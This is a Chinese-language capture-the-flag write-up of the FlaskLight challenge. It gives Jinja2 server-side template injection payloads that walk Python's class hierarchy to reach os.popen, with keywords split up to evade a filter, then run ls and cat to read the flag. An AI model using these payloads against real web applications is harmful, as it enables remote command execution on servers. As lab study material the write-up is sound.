[CSCCTF 2019 Qual]FlaskLight
查看源码

也就是说变量告诉我了,也告诉我通过get传递了
所以?
来吧,宝贝
首先试了试sql注入,不行
只能试试ssti
这个是jinja2模型,还是不太熟练
?search={{[].__class__.__bases__[0].__subclasses__()[40]}}//已经可以读取文件了 |
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}//找一个可以执行命令的函数 |
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()}}//读取文件目录 |
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /flasklight').read()}}xxxxxxxxxx {{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__bu'+'iltins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /flasklight').read()}}{{[].__class__.__bases__[0].__subclasses__()[59].__init__[%27__glo%27+%27bals__%27][%27__bu%27+%27iltins__%27][%27__imp%27+%27ort__%27](%27os%27).__dict__[%27pop%27+%27en%27](%27ls%20/flasklight/coomme_geeeett_youur_flek%27).read()}}//猜测当前目录在flasklight下 |
{{[].__class__.__bases__[0].__subclasses__()[59].__init__[%27__glo%27+%27bals__%27][%27__bu%27+%27iltins__%27][%27__imp%27+%27ort__%27](%27os%27).__dict__[%27pop%27+%27en%27](%27cat%20/flasklight/coomme_geeeett_youur_flek%27).read()}}//拿到flag |
jinja2模版的ssti
在Python环境下,.__class__获取对应实例的类,.__mro__获取当前对象的所有继承类
得到所有类的父类object后,使用方法__subclasses__()查看所有类对象。
并找到了warnings.catch_warnings模块,通过该模块可以访问os模块。
因此,试图通过访问os模块执行命令查找根目录下的FLAG。
__init__将对象实例化
__globals__引用包含函数全局变量的字典
在__builtins__下有eval、__import__等全局函数
尝试导入os然后执行cmd命令
ls执行成功说明环境基于Linux
使用cat访问/flag即可得到FLAG
例子观察以上题目payload